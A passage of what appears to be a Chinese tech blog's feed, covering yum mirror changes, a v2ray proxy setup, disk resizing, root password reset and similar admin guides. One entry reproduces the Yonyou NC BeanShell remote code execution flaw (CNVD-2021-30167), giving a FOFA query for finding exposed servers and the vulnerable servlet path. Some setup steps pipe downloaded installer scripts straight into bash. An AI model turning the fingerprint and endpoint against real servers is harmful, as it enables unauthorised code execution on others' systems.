        <content type="html"><![CDATA[<h3 id="1-备份原有的-yum-源配置"><a href="#1-备份原有的-yum-源配置" class="headerlink" title="1. 备份原有的 yum 源配置"></a>1. 备份原有的 <code>yum</code> 源配置</h3><p>在更改源之前，建议先备份现有的 <code>yum</code> 源配置文件，以防需要恢复：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="built_in">sudo</span> <span class="built_in">cp</span> /etc/yum.repos.d/CentOS-Base.repo /etc/yum.repos.d/CentOS-Base.repo.bak</span><br></pre></td></tr></table></figure><h3 id="2-更换为阿里云源"><a href="#2-更换为阿里云源" class="headerlink" title="2. 更换为阿里云源"></a>2. 更换为阿里云源</h3><p>可以使用以下命令直接下载并替换为阿里云提供的 <code>CentOS-Base.repo</code>：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="built_in">sudo</span> wget -O /etc/yum.repos.d/CentOS-Base.repo http://mirrors.aliyun.com/repo/Centos-7.repo</span><br></pre></td></tr></table></figure><p>或者，如果你使用的是 CentOS 8：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="built_in">sudo</span> wget -O /etc/yum.repos.d/CentOS-Base.repo http://mirrors.aliyun.com/repo/Centos-8.repo</span><br></pre></td></tr></table></figure><h3 id="3-更换为清华源"><a href="#3-更换为清华源" class="headerlink" title="3. 更换为清华源"></a>3. 更换为清华源</h3><p>同样，可以使用以下命令直接下载并替换为清华大学提供的 <code>CentOS-Base.repo</code>：</p><ul><li><p>对于 CentOS 7：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="built_in">sudo</span> wget -O /etc/yum.repos.d/CentOS-Base.repo https://mirrors.tuna.tsinghua.edu.cn/repo/Centos-7.repo</span><br></pre></td></tr></table></figure></li><li><p>对于 CentOS 8：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="built_in">sudo</span> wget -O /etc/yum.repos.d/CentOS-Base.repo https://mirrors.tuna.tsinghua.edu.cn/repo/Centos-8.repo</span><br></pre></td></tr></table></figure></li></ul><h3 id="4-清理缓存并更新源"><a href="#4-清理缓存并更新源" class="headerlink" title="4. 清理缓存并更新源"></a>4. 清理缓存并更新源</h3><p>下载并替换了新的 <code>.repo</code> 文件后，执行以下命令来清理 <code>yum</code> 缓存并更新：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="built_in">sudo</span> yum clean all</span><br><span class="line"><span class="built_in">sudo</span> yum makecache</span><br></pre></td></tr></table></figure><h3 id="5-验证源是否更换成功"><a href="#5-验证源是否更换成功" class="headerlink" title="5. 验证源是否更换成功"></a>5. 验证源是否更换成功</h3><p>最后，运行以下命令以确认新的源配置已经生效，并且可以正常使用：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="built_in">sudo</span> yum repolist</span><br></pre></td></tr></table></figure><p>如果命令输出中显示了来自阿里云或清华大学镜像站点的源列表，说明源更换成功。</p><h3 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h3><p>通过上述步骤，你可以将 CentOS 的默认软件源更换为国内的阿里云源或清华源，以提高软件包下载的速度。这对于在国内使用 CentOS 服务器非常有帮助。</p>]]></content>
      
      
      
    </entry>
    
    
    
    <entry>
      <title>云服务器+宝塔+v2ray+ssl</title>
      <link href="/archives/web/ecs-bt-v2ray-ssl.html"/>
      <url>/archives/web/ecs-bt-v2ray-ssl.html</url>
      
        <content type="html"><![CDATA[<p>步骤：</p><ol><li><p>购买云服务器，阿里云，腾讯，谷歌</p></li><li><p>系统可以是debian</p></li><li><p>升级系统</p> <figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="built_in">sudo</span> apt clean all</span><br><span class="line"><span class="built_in">sudo</span> apt update</span><br></pre></td></tr></table></figure></li><li><p>安装宝塔<br>  相关命令可以参考 <a href="https://www.hao.kim/62.html">宝塔linux命令大全</a></p> <figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">url=https://download.bt.cn/install/install_lts.sh;<span class="keyword">if</span> [ -f /usr/bin/curl ];<span class="keyword">then</span> curl -sSO <span class="variable">$url</span>;<span class="keyword">else</span> wget -O install_lts.sh <span class="variable">$url</span>;<span class="keyword">fi</span>;bash install_lts.sh</span><br></pre></td></tr></table></figure></li><li><p>安装nginx，php，mysql，用于网站正常使用，如果不需要可以只安装nginx</p></li><li><p>申请域名并解析到云服务器</p></li><li><p>添加网站，填入域名并提交<br> <img src="https://images.hao.kim/uploads/2024/08/12117da18a6d50660099125520109ee562c9bddced5a71a1d069b9fa908212fb.png" alt="图 0"></p></li><li><p>添加SSL<br>一种方法是自己申请SSL 证书，另外一种是使用宝塔自动申请SSL证书,方法很简单，下面只介绍第一种，<br>自己申请并下载证书，选择nginx服务器证书，<br>添加证书，下载的证书有后缀为.key 和.pem 的文件，分别填入ssl证书的左右边</p><p> <img src="https://images.hao.kim/uploads/2024/08/5442612e16973e0009d73e9160879f7d751ab506453a3195817f433d68349497.png" alt="图 1"></p><p> 配置反向代理，可以根据自己情况设定</p> <figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line">  <span class="string">location</span> <span class="string">/xray</span> </span><br><span class="line">&#123;</span><br><span class="line">    <span class="string">proxy_pass</span> <span class="string">http://127.0.0.1:8443;#8443为xray里自己设定的端口</span></span><br><span class="line">    <span class="string">proxy_redirect</span> <span class="string">off;</span></span><br><span class="line">    <span class="string">proxy_http_version</span> <span class="number">1.1</span><span class="string">;</span></span><br><span class="line">    <span class="string">proxy_set_header</span> <span class="string">Upgrade</span> <span class="string">$http_upgrade;</span></span><br><span class="line">    <span class="string">proxy_set_header</span> <span class="string">Connection</span> <span class="string">&quot;upgrade&quot;</span><span class="string">;</span></span><br><span class="line">    <span class="string">proxy_set_header</span> <span class="string">Host</span> <span class="string">$http_host;</span></span><br><span class="line">    <span class="string">proxy_read_timeout</span> <span class="string">300s;</span></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p> <img src="https://images.hao.kim/uploads/2024/08/3bf8334e82f9a97014fd817674b9d3306fecffb6ff926c6fb2fc9c0d6e39a038.png" alt="图 2"><br> <img src="https://images.hao.kim/uploads/2024/08/5442612e16973e0009d73e9160879f7d751ab506453a3195817f433d68349497.png" alt="图 3"></p></li><li><p>安装V2ray</p> <figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">bash &lt;(curl -L https://raw.githubusercontent.com/v2fly/fhs-install-v2ray/master/install-release.sh)</span><br></pre></td></tr></table></figure></li><li><p>获取UUID，并保存好这串值，</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="built_in">cat</span> /proc/sys/kernel/random/uuid</span><br></pre></td></tr></table></figure></li><li><p>配置v2ray配置文件</p><p>路径&#x2F;usr&#x2F;local&#x2F;etc&#x2F;v2ray&#x2F;config.json，加入如下内容，根据自己实际情况修改下，有三个地方需要修改，记得删除红字</p><figure class="highlight json"><table><tr><td class="code"><pre><span class="line"><span class="punctuation">&#123;</span></span><br><span class="line">  <span class="attr">&quot;policy&quot;</span><span class="punctuation">:</span> <span class="punctuation">&#123;</span></span><br><span class="line">    <span class="attr">&quot;levels&quot;</span><span class="punctuation">:</span> <span class="punctuation">&#123;</span></span><br><span class="line">      <span class="attr">&quot;0&quot;</span><span class="punctuation">:</span> <span class="punctuation">&#123;</span></span><br><span class="line">        <span class="attr">&quot;uplinkOnly&quot;</span><span class="punctuation">:</span> <span class="number">0</span><span class="punctuation">,</span></span><br><span class="line">        <span class="attr">&quot;downlinkOnly&quot;</span><span class="punctuation">:</span> <span class="number">0</span><span class="punctuation">,</span></span><br><span class="line">        <span class="attr">&quot;connIdle&quot;</span><span class="punctuation">:</span> <span class="number">150</span><span class="punctuation">,</span></span><br><span class="line">        <span class="attr">&quot;handshake&quot;</span><span class="punctuation">:</span> <span class="number">4</span></span><br><span class="line">      <span class="punctuation">&#125;</span></span><br><span class="line">    <span class="punctuation">&#125;</span></span><br><span class="line">  <span class="punctuation">&#125;</span><span class="punctuation">,</span></span><br><span class="line">  <span class="attr">&quot;inbound&quot;</span><span class="punctuation">:</span> <span class="punctuation">&#123;</span></span><br><span class="line">    <span class="attr">&quot;listen&quot;</span><span class="punctuation">:</span> <span class="string">&quot;127.0.0.1&quot;</span><span class="punctuation">,</span></span><br><span class="line">    <span class="attr">&quot;port&quot;</span><span class="punctuation">:</span> <span class="number">8443</span><span class="punctuation">,</span>这里是v2ray监听端口，可以自己设置，但要和宝塔里的一致</span><br><span class="line">    <span class="attr">&quot;protocol&quot;</span><span class="punctuation">:</span> <span class="string">&quot;vmess&quot;</span><span class="punctuation">,</span></span><br><span class="line">    <span class="attr">&quot;settings&quot;</span><span class="punctuation">:</span> <span class="punctuation">&#123;</span></span><br><span class="line">      <span class="attr">&quot;clients&quot;</span><span class="punctuation">:</span> <span class="punctuation">[</span></span><br><span class="line">        <span class="punctuation">&#123;</span></span><br><span class="line">          <span class="attr">&quot;id&quot;</span><span class="punctuation">:</span> <span class="string">&quot;这里填入上面获取的UUID的值&quot;</span><span class="punctuation">,</span></span><br><span class="line">          <span class="attr">&quot;level&quot;</span><span class="punctuation">:</span> <span class="number">1</span><span class="punctuation">,</span></span><br><span class="line">          <span class="attr">&quot;alterId&quot;</span><span class="punctuation">:</span> <span class="number">32</span></span><br><span class="line">        <span class="punctuation">&#125;</span></span><br><span class="line">      <span class="punctuation">]</span></span><br><span class="line">    <span class="punctuation">&#125;</span><span class="punctuation">,</span></span><br><span class="line">    <span class="attr">&quot;streamSettings&quot;</span><span class="punctuation">:</span> <span class="punctuation">&#123;</span></span><br><span class="line">      <span class="attr">&quot;network&quot;</span><span class="punctuation">:</span> <span class="string">&quot;ws&quot;</span><span class="punctuation">,</span></span><br><span class="line">      <span class="attr">&quot;security&quot;</span><span class="punctuation">:</span> <span class="string">&quot;auto&quot;</span><span class="punctuation">,</span></span><br><span class="line">      <span class="attr">&quot;wsSettings&quot;</span><span class="punctuation">:</span> <span class="punctuation">&#123;</span></span><br><span class="line">        <span class="attr">&quot;path&quot;</span><span class="punctuation">:</span> <span class="string">&quot;/xray&quot;</span><span class="punctuation">,</span></span><br><span class="line">        <span class="attr">&quot;headers&quot;</span><span class="punctuation">:</span> <span class="punctuation">&#123;</span></span><br><span class="line">          <span class="attr">&quot;Host&quot;</span><span class="punctuation">:</span> <span class="string">&quot;这里改成添加的域名，例如www.xxx.com&quot;</span></span><br><span class="line">        <span class="punctuation">&#125;</span></span><br><span class="line">      <span class="punctuation">&#125;</span></span><br><span class="line">    <span class="punctuation">&#125;</span></span><br><span class="line">  <span class="punctuation">&#125;</span><span class="punctuation">,</span></span><br><span class="line">  <span class="attr">&quot;outbound&quot;</span><span class="punctuation">:</span> <span class="punctuation">&#123;</span></span><br><span class="line">    <span class="attr">&quot;protocol&quot;</span><span class="punctuation">:</span> <span class="string">&quot;freedom&quot;</span><span class="punctuation">,</span></span><br><span class="line">    <span class="attr">&quot;settings&quot;</span><span class="punctuation">:</span> <span class="punctuation">&#123;</span> <span class="punctuation">&#125;</span></span><br><span class="line">  <span class="punctuation">&#125;</span><span class="punctuation">,</span></span><br><span class="line">  <span class="attr">&quot;outboundDetour&quot;</span><span class="punctuation">:</span> <span class="punctuation">[</span></span><br><span class="line">    <span class="punctuation">&#123;</span></span><br><span class="line">      <span class="attr">&quot;protocol&quot;</span><span class="punctuation">:</span> <span class="string">&quot;blackhole&quot;</span><span class="punctuation">,</span></span><br><span class="line">      <span class="attr">&quot;settings&quot;</span><span class="punctuation">:</span> <span class="punctuation">&#123;</span> <span class="punctuation">&#125;</span><span class="punctuation">,</span></span><br><span class="line">      <span class="attr">&quot;tag&quot;</span><span class="punctuation">:</span> <span class="string">&quot;blocked&quot;</span></span><br><span class="line">    <span class="punctuation">&#125;</span></span><br><span class="line">  <span class="punctuation">]</span><span class="punctuation">,</span></span><br><span class="line">  <span class="attr">&quot;routing&quot;</span><span class="punctuation">:</span> <span class="punctuation">&#123;</span></span><br><span class="line">    <span class="attr">&quot;strategy&quot;</span><span class="punctuation">:</span> <span class="string">&quot;rules&quot;</span><span class="punctuation">,</span></span><br><span class="line">    <span class="attr">&quot;settings&quot;</span><span class="punctuation">:</span> <span class="punctuation">&#123;</span></span><br><span class="line">      <span class="attr">&quot;rules&quot;</span><span class="punctuation">:</span> <span class="punctuation">[</span></span><br><span class="line">        <span class="punctuation">&#123;</span></span><br><span class="line">          <span class="attr">&quot;type&quot;</span><span class="punctuation">:</span> <span class="string">&quot;field&quot;</span><span class="punctuation">,</span></span><br><span class="line">          <span class="attr">&quot;ip&quot;</span><span class="punctuation">:</span> <span class="punctuation">[</span></span><br><span class="line">            <span class="string">&quot;0.0.0.0/8&quot;</span><span class="punctuation">,</span></span><br><span class="line">            <span class="string">&quot;10.0.0.0/8&quot;</span><span class="punctuation">,</span></span><br><span class="line">            <span class="string">&quot;100.64.0.0/10&quot;</span><span class="punctuation">,</span></span><br><span class="line">            <span class="string">&quot;127.0.0.0/8&quot;</span><span class="punctuation">,</span></span><br><span class="line">            <span class="string">&quot;169.254.0.0/16&quot;</span><span class="punctuation">,</span></span><br><span class="line">            <span class="string">&quot;172.16.0.0/12&quot;</span><span class="punctuation">,</span></span><br><span class="line">            <span class="string">&quot;192.0.0.0/24&quot;</span><span class="punctuation">,</span></span><br><span class="line">            <span class="string">&quot;192.0.2.0/24&quot;</span><span class="punctuation">,</span></span><br><span class="line">            <span class="string">&quot;192.168.0.0/16&quot;</span><span class="punctuation">,</span></span><br><span class="line">            <span class="string">&quot;198.18.0.0/15&quot;</span><span class="punctuation">,</span></span><br><span class="line">            <span class="string">&quot;198.51.100.0/24&quot;</span><span class="punctuation">,</span></span><br><span class="line">            <span class="string">&quot;203.0.113.0/24&quot;</span><span class="punctuation">,</span></span><br><span class="line">            <span class="string">&quot;::1/128&quot;</span><span class="punctuation">,</span></span><br><span class="line">            <span class="string">&quot;fc00::/7&quot;</span><span class="punctuation">,</span></span><br><span class="line">            <span class="string">&quot;fe80::/10&quot;</span></span><br><span class="line">          <span class="punctuation">]</span><span class="punctuation">,</span></span><br><span class="line">          <span class="attr">&quot;outboundTag&quot;</span><span class="punctuation">:</span> <span class="string">&quot;blocked&quot;</span></span><br><span class="line">        <span class="punctuation">&#125;</span></span><br><span class="line">      <span class="punctuation">]</span></span><br><span class="line">    <span class="punctuation">&#125;</span></span><br><span class="line">  <span class="punctuation">&#125;</span></span><br><span class="line"><span class="punctuation">&#125;</span></span><br></pre></td></tr></table></figure></li><li><p>启动v2ray</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">systemctl start v2ray.service</span><br></pre></td></tr></table></figure><p>其他命令，分别为，开机启动v2ray，重启v2ray,停止v2ray</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">systemctl <span class="built_in">enable</span> v2ray.service</span><br><span class="line">systemctl restart v2ray.service</span><br><span class="line">systemctl stop v2ray.service</span><br></pre></td></tr></table></figure></li><li><p>查看v2ray运行端口是否正常</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">netstat -anp | grep 端口号</span><br></pre></td></tr></table></figure></li></ol><p>至此，服务器上面的配置已经完成，</p><hr><h2 id="电脑上面-配置和使用v2ray"><a href="#电脑上面-配置和使用v2ray" class="headerlink" title="电脑上面 配置和使用v2ray"></a>电脑上面 配置和使用v2ray</h2><ol><li><p>下载V2rayN</p><p> <code>https://www.github.com/2dust/v2rayN/releases</code></p></li><li><p>配置，如图，或者按自己实际情况填写</p><p> <img src="https://images.hao.kim/uploads/2024/08/3c153b6341cd20b92a102ee01c42f25fae60430dc4ad11f47820be2f8429ca3a.png" alt="图 4">  </p></li><li><p>如果配置一切正常，那么一个新的人字梯就做好了</p></li><li><p>现在PC上面默认的代理端口为Socks5 10808，http 10809;</p></li></ol><p>使用梯子，</p><ol><li>全局使用<br> 右键V2ray图标，系统代理——&gt;自动配置系统代理<br> 这样选择以后，系统所有流量都将使用代理</li><li>浏览器使用<br> firefox或者chrome，安装Proxy SwitchyOmega插件，并配置即可，</li></ol><p>  <img src="https://images.hao.kim/uploads/2024/08/3488605fce48a378f7cb0ec060b13b53d36c0ff76271c7af91c507b2362a02a6.png" alt="图 5">  </p>]]></content>
      
      
      <categories>
          
          <category> web </category>
          
      </categories>
      
      
        <tags>
            
            <tag> v2ray </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>使用growpart对磁盘进行热扩容</title>
      <link href="/archives/linux/growpart-hot-expand.html"/>
      <url>/archives/linux/growpart-hot-expand.html</url>
      
        <content type="html"><![CDATA[<ol><li>确保 <code>growpart</code> 工具已安装</li></ol><p>首先，确认系统中已经安装了 <code>growpart</code> 工具。<code>growpart</code> 是 <code>cloud-utils-growpart</code> 包的一部分，可以通过以下命令进行安装：</p><p>centos系统</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="built_in">sudo</span> yum install cloud-utils-growpart -y</span><br></pre></td></tr></table></figure><p>debian系统</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="built_in">sudo</span> apt install cloud-guest-utils -y</span><br></pre></td></tr></table></figure><h3 id="2-查看当前分区情况"><a href="#2-查看当前分区情况" class="headerlink" title="2. 查看当前分区情况"></a>2. 查看当前分区情况</h3><p>在进行扩容前，建议查看当前磁盘的分区情况。使用 <code>lsblk</code> 或 <code>fdisk</code> 命令查看磁盘分区信息：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">lsblk</span><br></pre></td></tr></table></figure><p>或者</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="built_in">sudo</span> fdisk -l</span><br></pre></td></tr></table></figure><h3 id="3-使用-growpart-扩展分区"><a href="#3-使用-growpart-扩展分区" class="headerlink" title="3. 使用 growpart 扩展分区"></a>3. 使用 <code>growpart</code> 扩展分区</h3><p>假设你要扩展的磁盘是 <code>/dev/sda</code>，并且要扩展的分区是第 1 个分区（<code>/dev/sda1</code>），可以使用以下命令来扩展该分区：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="built_in">sudo</span> growpart /dev/sda 1</span><br></pre></td></tr></table></figure><p>这里的 <code>/dev/sda</code> 是磁盘名称，<code>1</code> 是分区号。</p><h3 id="4-扩展文件系统"><a href="#4-扩展文件系统" class="headerlink" title="4. 扩展文件系统"></a>4. 扩展文件系统</h3><p>扩展分区后，还需要扩展文件系统，以便操作系统可以使用新增的磁盘空间。扩展文件系统的命令取决于使用的文件系统类型。</p><ul><li><p><strong>对于 ext4 文件系统</strong>：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="built_in">sudo</span> resize2fs /dev/sda1</span><br></pre></td></tr></table></figure></li><li><p><strong>对于 xfs 文件系统</strong>：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="built_in">sudo</span> xfs_growfs /dev/sda1</span><br></pre></td></tr></table></figure></li></ul><h3 id="5-验证扩容"><a href="#5-验证扩容" class="headerlink" title="5. 验证扩容"></a>5. 验证扩容</h3><p>最后，再次使用 <code>lsblk</code> 或 <code>df -h</code> 来确认分区和文件系统已经成功扩展。</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="built_in">df</span> -h</span><br></pre></td></tr></table></figure><h3 id="注意事项"><a href="#注意事项" class="headerlink" title="注意事项"></a>注意事项</h3><ul><li>确保在进行这些操作之前，已经备份了重要数据。</li><li>磁盘和分区的扩展操作存在一定风险，特别是在生产环境中操作时，请小心执行。</li></ul>]]></content>
      
      
      <categories>
          
          <category> linux </category>
          
      </categories>
      
      
        <tags>
            
            <tag> growpart </tag>
            
            <tag> 磁盘热扩容 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>Centos 更改密码</title>
      <link href="/archives/linux/centos-reset-password.html"/>
      <url>/archives/linux/centos-reset-password.html</url>
      
        <content type="html"><![CDATA[<p>在 CentOS 中重置密码通常需要进入单用户模式（Single User Mode）或者救援模式（Rescue Mode）。以下是如何在 CentOS 7 或 CentOS 8 中重置密码的步骤：</p><h3 id="1-重新启动系统"><a href="#1-重新启动系统" class="headerlink" title="1. 重新启动系统"></a>1. 重新启动系统</h3><ul><li>重启计算机后，在启动时按下键盘上的 <code>ESC</code> 键进入 GRUB 菜单（如果没有看到 GRUB 菜单，可以尝试按 <code>Shift</code> 键）。</li></ul><h3 id="2-进入-GRUB-菜单"><a href="#2-进入-GRUB-菜单" class="headerlink" title="2. 进入 GRUB 菜单"></a>2. 进入 GRUB 菜单</h3><ul><li>在 GRUB 菜单中，用上下箭头选择你当前的操作系统条目，然后按 <code>e</code> 键编辑该条目。</li></ul><h3 id="3-编辑启动项"><a href="#3-编辑启动项" class="headerlink" title="3. 编辑启动项"></a>3. 编辑启动项</h3><ul><li>找到以 <code>linux16</code> 或 <code>linux</code> 开头的那一行，使用箭头键移动光标到这一行的末尾。</li><li>在这一行的末尾，输入 <code>rd.break</code>，然后按下 <code>Ctrl + X</code> 或 <code>Ctrl + Alt + F2</code> 以启动系统。</li></ul><h3 id="4-进入紧急模式"><a href="#4-进入紧急模式" class="headerlink" title="4. 进入紧急模式"></a>4. 进入紧急模式</h3><ul><li>系统将进入一个名为 <code>emergency</code> 的模式，此时根文件系统挂载为只读。</li></ul><h3 id="5-重新挂载根文件系统为可读写"><a href="#5-重新挂载根文件系统为可读写" class="headerlink" title="5. 重新挂载根文件系统为可读写"></a>5. 重新挂载根文件系统为可读写</h3><ul><li>输入以下命令将根文件系统重新挂载为读写模式：</li></ul><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">mount -o remount,rw /sysroot</span><br></pre></td></tr></table></figure><h3 id="6-访问系统环境"><a href="#6-访问系统环境" class="headerlink" title="6. 访问系统环境"></a>6. 访问系统环境</h3><ul><li>切换到系统的根环境：</li></ul><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="built_in">chroot</span> /sysroot</span><br></pre></td></tr></table></figure><h3 id="7-重置密码"><a href="#7-重置密码" class="headerlink" title="7. 重置密码"></a>7. 重置密码</h3><ul><li>使用 <code>passwd</code> 命令重置 root 用户的密码：</li></ul><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">passwd</span><br></pre></td></tr></table></figure><p>  然后输入新密码。</p><h3 id="8-重新标记所有文件"><a href="#8-重新标记所有文件" class="headerlink" title="8. 重新标记所有文件"></a>8. 重新标记所有文件</h3><ul><li>为了确保系统可以正常启动，运行以下命令：</li></ul><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="built_in">touch</span> /.autorelabel</span><br></pre></td></tr></table></figure><h3 id="9-退出并重新启动系统"><a href="#9-退出并重新启动系统" class="headerlink" title="9. 退出并重新启动系统"></a>9. 退出并重新启动系统</h3><ul><li>输入以下命令退出 chroot 环境：</li></ul><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="built_in">exit</span></span><br><span class="line"><span class="built_in">exit</span></span><br></pre></td></tr></table></figure><ul><li>系统会重新启动，完成 SELinux 的 relabeling 后，系统将正常启动。</li></ul><p>此时，你可以使用新设置的 root 密码登录系统。</p><h3 id="注意"><a href="#注意" class="headerlink" title="注意"></a>注意</h3><ul><li>如果系统有加密的磁盘或分区，你可能需要在重启时提供相应的密码。</li><li>使用此方法重置密码时，请确保只有有权限的人员能够访问你的服务器</li></ul>]]></content>
      
      
      <categories>
          
          <category> linux </category>
          
      </categories>
      
      
        <tags>
            
            <tag> centos </tag>
            
            <tag> 重置系统密码 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>用友NC BeanShell远程代码执行</title>
      <link href="/archives/security/cnvd-2021-30167.html"/>
      <url>/archives/security/cnvd-2021-30167.html</url>
      
        <content type="html"><![CDATA[<p>1.<strong>影响版本</strong></p><figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="string">NC6.5版本</span></span><br></pre></td></tr></table></figure><p>2.<strong>漏洞复现</strong></p><p>FOFA语句：</p><figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="string">icon_hash=&quot;1085941792&quot;</span></span><br></pre></td></tr></table></figure><p>3.<strong>执行命令</strong></p><p>  <strong>PoC:</strong></p><figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="string">/servlet/~ic/bsh.servlet.BshServlet</span></span><br></pre></td></tr></table></figure><p><img src="https://images.hao.kim/uploads/2024/08/a620938a326626fbcc0594e379e6a8334e4f2a787b0e0511a321fbe445e58f21.png" alt="图 0">  </p><p><img src="https://images.hao.kim/uploads/2024/08/3c86709c57cc64f89fa77f017460e7ea6884f83e20e43d83f4604fd67263ea3c.png" alt="图 1">  </p>]]></content>
      
      
      <categories>
          
          <category> security </category>
          
      </categories>
      
      
        <tags>
            
            <tag> CNVD-2021-30167 </tag>
            
            <tag> 用友NC </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>diagnostic policy service启动不了怎么办</title>
      <link href="/archives/windows/diagnostic-policy-service-cannot-start.html"/>
      <url>/archives/windows/diagnostic-policy-service-cannot-start.html</url>
      
        <content type="html"><![CDATA[<p>diagnostic policy service启动不了怎么办</p><p>解决方法如下 ：</p><ul><li><p>方法一：</p><p>  确认Diagnostic Service Host、Group Policy Client这两个服务都一打开，然后即可打开Diagnostic Policy Service</p></li><li><p>方法二： 打开 diagnostic policy service 的属性。</p><p>  若要指定服务可以用来登录的用户帐户，请单击“登录”选项卡，然后执行下列操作之一：</p><p>  1、若要指定服务使用本地系统帐户，请单击“本地系统帐户”。</p><p>  2、若要指定服务使用本地服务帐户，请单击“此帐户”，然后键入NT AUTHORITY\LocalService。</p><p>  3、要指定服务使用网络服务帐户，请单击“此帐户”，然后键入 NT AUTHORITY\NetworkService。</p><p>  4、若要指定其他帐户，请依次单击“此帐户”、“浏览”，然后在“选择用户”对话框中指定用户帐户。完成操作后，请单击“确定”。</p><p>  在“密码”和“确认密码”中键入该用户帐户的密码，然后单击“确定”。如果您选择本地服务帐户或网络服务帐户，则不要键入密码。</p></li><li><p>方法三：  重置服务权限</p><p>  有时服务的权限设置不正确也会导致服务启动失败。你可以尝试重置服务权限：</p><p>  打开命令提示符（以管理员身份）。</p><p>  输入以下命令来重置“诊断策略服务”的权限：</p>  <figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">sc sdset DPS D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)</span><br></pre></td></tr></table></figure><p>  重启计算机后尝试再次启动服务</p></li></ul>]]></content>
      
      
      
    </entry>
    
    
    
    <entry>
      <title>ssh 连接等待</title>
      <link href="/archives/linux/ssh-usedns.html"/>
      <url>/archives/linux/ssh-usedns.html</url>
      
        <content type="html"><![CDATA[<p>ssh的连接远程linux主机的时候会有几秒的等待，但是网络没有问题，因为ssh配置文件里面的UseDns 未配置，</p><p>修改&#x2F;etc&#x2F;ssh&#x2F;sshd_config 里面的</p><figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="comment">#UseDns yes</span></span><br></pre></td></tr></table></figure><p>修改为</p><figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="string">UseDns</span> <span class="literal">no</span></span><br></pre></td></tr></table></figure><p>重启ssh服务器即可</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">service sshd reload</span><br></pre></td></tr></table></figure>]]></content>
      
      
      <categories>
          
          <category> linux </category>
          
      </categories>
      
      
        <tags>
            
            <tag> ssh连接慢 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>常见网站爬虫 User Agent</title>
      <link href="/archives/web/spider-agent.html"/>
      <url>/archives/web/spider-agent.html</url>
      
        <content type="html"><![CDATA[<p>百度移动UA:</p><figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="string">Mozilla/5.0</span> <span class="string">(Linux;u;Android</span> <span class="number">4.2</span><span class="number">.2</span><span class="string">;zh-cn;)</span> <span class="string">AppleWebKit/534.46</span> <span class="string">(KHTML,likeGecko)</span> <span class="string">Version/5.1</span> <span class="string">Mobile</span> <span class="string">Safari/10600.6.3</span> <span class="string">(compatible;</span> <span class="string">Baiduspider/2.0;+http://www.baidu.com/search/spider.html)</span></span><br></pre></td></tr></table></figure><p>百度PC UA:</p><figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="string">Mozilla/5.0</span> <span class="string">(compatible;</span> <span class="string">Baiduspider/2.0;+http://www.baidu.com/search/spider.html）</span></span><br></pre></td></tr></table></figure><p>百度移动渲染UA：</p><figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="string">Mozilla/5.0</span> <span class="string">(iPhone;</span> <span class="string">CPU</span> <span class="string">iPhone</span> <span class="string">OS</span> <span class="string">9_1</span> <span class="string">likeMac</span> <span class="string">OS</span> <span class="string">X)</span> <span class="string">AppleWebKit/601.1.46</span> <span class="string">(KHTML,</span> <span class="string">like</span> <span class="string">Gecko)</span> <span class="string">Version/9.0</span> <span class="string">Mobile/13B143Safari/601.1</span> <span class="string">(compatible;</span> <span class="string">Baiduspider-render/2.0;</span> <span class="string">+http://www.baidu.com/search/spider.html)</span></span><br></pre></td></tr></table></figure><p>百度PC 渲染UA：</p><figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="string">Mozilla/5.0</span> <span class="string">(compatible;Baiduspider-render/2.0;</span> <span class="string">+http://www.baidu.com/search/spider.html)</span></span><br></pre></td></tr></table></figure><p>谷歌蜘蛛Googlebot</p><figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="string">Mozilla/5.0</span> <span class="string">(compatible;</span> <span 